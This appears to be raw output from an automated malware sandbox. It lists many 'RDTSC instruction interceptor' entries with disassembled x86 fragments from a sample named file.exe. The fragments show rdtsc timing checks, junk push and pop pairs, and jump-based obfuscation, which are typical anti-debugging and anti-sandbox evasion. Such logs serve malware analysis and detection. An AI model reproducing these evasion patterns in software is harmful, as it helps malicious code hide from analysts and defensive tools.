Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A401E3 second address: 4A40207 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40207 second address: 4A4020B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4020B second address: 4A4020F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4020F second address: 4A40215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40215 second address: 4A4021B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4021B second address: 4A4021F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4021F second address: 4A40242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FEA44C4CAC3h 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40242 second address: 4A40246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40246 second address: 4A4024C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4024C second address: 4A40252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40252 second address: 4A40256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40256 second address: 4A40292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FEA44C7ED50h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEA44C7ED4Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40292 second address: 4A40298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40298 second address: 4A4029C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4029C second address: 4A402CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FEA44C4CAC3h 0x00000014 pop ecx 0x00000015 mov ax, di 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A402CB second address: 4A402D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A402D1 second address: 4A40318 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FEA44C4CABDh 0x00000014 pushfd 0x00000015 jmp 00007FEA44C4CAC0h 0x0000001a adc esi, 1E567788h 0x00000020 jmp 00007FEA44C4CABBh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40318 second address: 4A4031E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4031E second address: 4A40322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40322 second address: 4A4033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4033A second address: 4A4033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4033E second address: 4A40344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40344 second address: 4A4037A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 pushfd 0x00000007 jmp 00007FEA44C4CAC4h 0x0000000c or si, EC48h 0x00000011 jmp 00007FEA44C4CABBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4037A second address: 4A4037E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4037E second address: 4A40384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40384 second address: 4A403B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [769B4538h] 0x0000000e pushad 0x0000000f movzx ecx, di 0x00000012 mov dx, 1F3Eh 0x00000016 popad 0x00000017 xor dword ptr [ebp-08h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov cx, 176Dh 0x00000021 jmp 00007FEA44C7ED4Ah 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403B5 second address: 4A4041C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEA44C4CAC1h 0x00000009 sbb cx, 1976h 0x0000000e jmp 00007FEA44C4CAC1h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FEA44C4CAC0h 0x0000001a or ax, D698h 0x0000001f jmp 00007FEA44C4CABBh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 xor eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FEA44C4CAC2h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4041C second address: 4A4046E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, B4A4h 0x00000007 mov bx, 7710h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f jmp 00007FEA44C7ED54h 0x00000014 mov dword ptr [esp], eax 0x00000017 jmp 00007FEA44C7ED50h 0x0000001c lea eax, dword ptr [ebp-10h] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FEA44C7ED57h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4046E second address: 4A40474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40474 second address: 4A40478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40478 second address: 4A404C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 jmp 00007FEA44C4CAC6h 0x00000016 mov dword ptr [ebp-18h], esp 0x00000019 jmp 00007FEA44C4CAC0h 0x0000001e mov eax, dword ptr fs:[00000018h] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 mov al, 7Fh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A404C3 second address: 4A40517 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEA44C7ED59h 0x00000008 jmp 00007FEA44C7ED4Bh 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 mov dx, ax 0x00000014 mov eax, 46FE07A1h 0x00000019 popad 0x0000001a popad 0x0000001b mov ecx, dword ptr [eax+00000FDCh] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movsx edx, cx 0x00000027 jmp 00007FEA44C7ED52h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40517 second address: 4A4059F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b jmp 00007FEA44C4CAC6h 0x00000010 jns 00007FEA44C4CB46h 0x00000016 jmp 00007FEA44C4CAC0h 0x0000001b add eax, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FEA44C4CABDh 0x00000026 sbb ax, 99E6h 0x0000002b jmp 00007FEA44C4CAC1h 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007FEA44C4CAC0h 0x00000037 adc ah, FFFFFF88h 0x0000003a jmp 00007FEA44C4CABBh 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30023 second address: 4A30038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEA44C7ED4Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30038 second address: 4A30060 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEA44C4CAC5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30060 second address: 4A300B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FEA44C7ED53h 0x0000000b sbb esi, 593C79EEh 0x00000011 jmp 00007FEA44C7ED59h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a sub esp, 2Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov ax, di 0x00000023 jmp 00007FEA44C7ED4Fh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A300B5 second address: 4A30124 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 pushfd 0x00000006 jmp 00007FEA44C4CABBh 0x0000000b adc cx, C4AEh 0x00000010 jmp 00007FEA44C4CAC9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebx 0x0000001a pushad 0x0000001b pushad 0x0000001c mov ecx, edi 0x0000001e pushfd 0x0000001f jmp 00007FEA44C4CAC5h 0x00000024 sub eax, 75BDE396h 0x0000002a jmp 00007FEA44C4CAC1h 0x0000002f popfd 0x00000030 popad 0x00000031 popad 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30124 second address: 4A30128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30128 second address: 4A3012E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301A0 second address: 4A301E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov cx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, 00000000h 0x00000010 jmp 00007FEA44C7ED4Ch 0x00000015 sub edi, edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FEA44C7ED4Ah 0x00000020 adc ch, 00000068h 0x00000023 jmp 00007FEA44C7ED4Bh 0x00000028 popfd 0x00000029 mov ax, 825Fh 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301E0 second address: 4A301E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A301E6 second address: 4A30218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEA44C7ED50h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30218 second address: 4A3021E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3021E second address: 4A3022F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA44C7ED4Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3022F second address: 4A30233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30233 second address: 4A30257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEA44C7ED58h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30257 second address: 4A3025C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3025C second address: 4A30298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FEA44C7ED57h 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007FEA44C7EFE9h 0x00000013 jmp 00007FEA44C7ED4Fh 0x00000018 lea ecx, dword ptr [ebp-14h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30298 second address: 4A302AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FEA44C4CAC1h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3032B second address: 4A30331 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30331 second address: 4A3036C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEA44C4CABCh 0x00000009 sbb si, 31C8h 0x0000000e jmp 00007FEA44C4CABBh 0x00000013 popfd 0x00000014 mov di, cx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FEA44C4CAC1h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3036C second address: 4A303C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FEA44C7ED57h 0x00000008 pop esi 0x00000009 mov cx, di 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FEA44C7ED57h 0x00000019 xor al, FFFFFFCEh 0x0000001c jmp 00007FEA44C7ED59h 0x00000021 popfd 0x00000022 mov ah, C4h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30436 second address: 4A3044E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA44C4CAC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3044E second address: 4A30452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30452 second address: 4A30466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FEAB6B7AAE8h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30466 second address: 4A3046A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3046A second address: 4A30482 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30482 second address: 4A30500 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FEA44C7EDD3h 0x0000000f pushad 0x00000010 mov di, ax 0x00000013 jmp 00007FEA44C7ED50h 0x00000018 popad 0x00000019 cmp dword ptr [ebp-14h], edi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FEA44C7ED4Dh 0x00000025 adc eax, 3E8A7F46h 0x0000002b jmp 00007FEA44C7ED51h 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007FEA44C7ED50h 0x00000037 jmp 00007FEA44C7ED55h 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30500 second address: 4A3059F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 19A9h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FEAB6B7AA47h 0x00000010 jmp 00007FEA44C4CAC4h 0x00000015 mov ebx, dword ptr [ebp+08h] 0x00000018 jmp 00007FEA44C4CAC0h 0x0000001d lea eax, dword ptr [ebp-2Ch] 0x00000020 jmp 00007FEA44C4CAC0h 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FEA44C4CABEh 0x0000002d sbb si, E308h 0x00000032 jmp 00007FEA44C4CABBh 0x00000037 popfd 0x00000038 call 00007FEA44C4CAC8h 0x0000003d call 00007FEA44C4CAC2h 0x00000042 pop eax 0x00000043 pop ebx 0x00000044 popad 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3059F second address: 4A305A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, cl 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A305A6 second address: 4A305AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A305AC second address: 4A305EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FEA44C7ED50h 0x00000011 nop 0x00000012 pushad 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 call 00007FEA44C7ED56h 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A305EE second address: 4A30634 instructions: 0x00000000 rdtsc 0x00000002 call 00007FEA44C4CABBh 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FEA44C4CAC4h 0x00000013 and ax, EEE8h 0x00000018 jmp 00007FEA44C4CABBh 0x0000001d popfd 0x0000001e movzx eax, di 0x00000021 popad 0x00000022 nop 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov si, 9573h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30634 second address: 4A3066E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FEA44C7ED50h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FEA44C7ED4Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3066E second address: 4A30695 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEA44C4CAC5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30695 second address: 4A306A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA44C7ED4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A306A5 second address: 4A306A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A306E5 second address: 4A3071C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 movzx esi, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d jmp 00007FEA44C7ED59h 0x00000012 test esi, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FEA44C7ED4Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3071C second address: 4A30722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30722 second address: 4A30726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30726 second address: 4A3072A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3072A second address: 4A20D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FEAB6BACC69h 0x0000000e xor eax, eax 0x00000010 jmp 00007FEA44C5847Ah 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d sub esp, 04h 0x00000020 mov esi, eax 0x00000022 cmp esi, 00000000h 0x00000025 setne al 0x00000028 xor ebx, ebx 0x0000002a test al, 01h 0x0000002c jne 00007FEA44C7ED47h 0x0000002e jmp 00007FEA44C7EE82h 0x00000033 call 00007FEA489BD944h 0x00000038 mov edi, edi 0x0000003a jmp 00007FEA44C7ED50h 0x0000003f xchg eax, ebp 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FEA44C7ED57h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20D92 second address: 4A20E6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FEA44C4CAC7h 0x00000011 sbb ch, FFFFFFCEh 0x00000014 jmp 00007FEA44C4CAC9h 0x00000019 popfd 0x0000001a jmp 00007FEA44C4CAC0h 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 movzx eax, dx 0x00000025 push edi 0x00000026 mov ecx, 3295F0D5h 0x0000002b pop esi 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f pushad 0x00000030 mov edx, 35166342h 0x00000035 call 00007FEA44C4CAC3h 0x0000003a mov dx, ax 0x0000003d pop ecx 0x0000003e popad 0x0000003f push esp 0x00000040 pushad 0x00000041 mov bx, cx 0x00000044 movzx esi, di 0x00000047 popad 0x00000048 mov dword ptr [esp], ecx 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007FEA44C4CABBh 0x00000052 adc esi, 0CA6CF9Eh 0x00000058 jmp 00007FEA44C4CAC9h 0x0000005d popfd 0x0000005e popad 0x0000005f mov dword ptr [ebp-04h], 55534552h 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
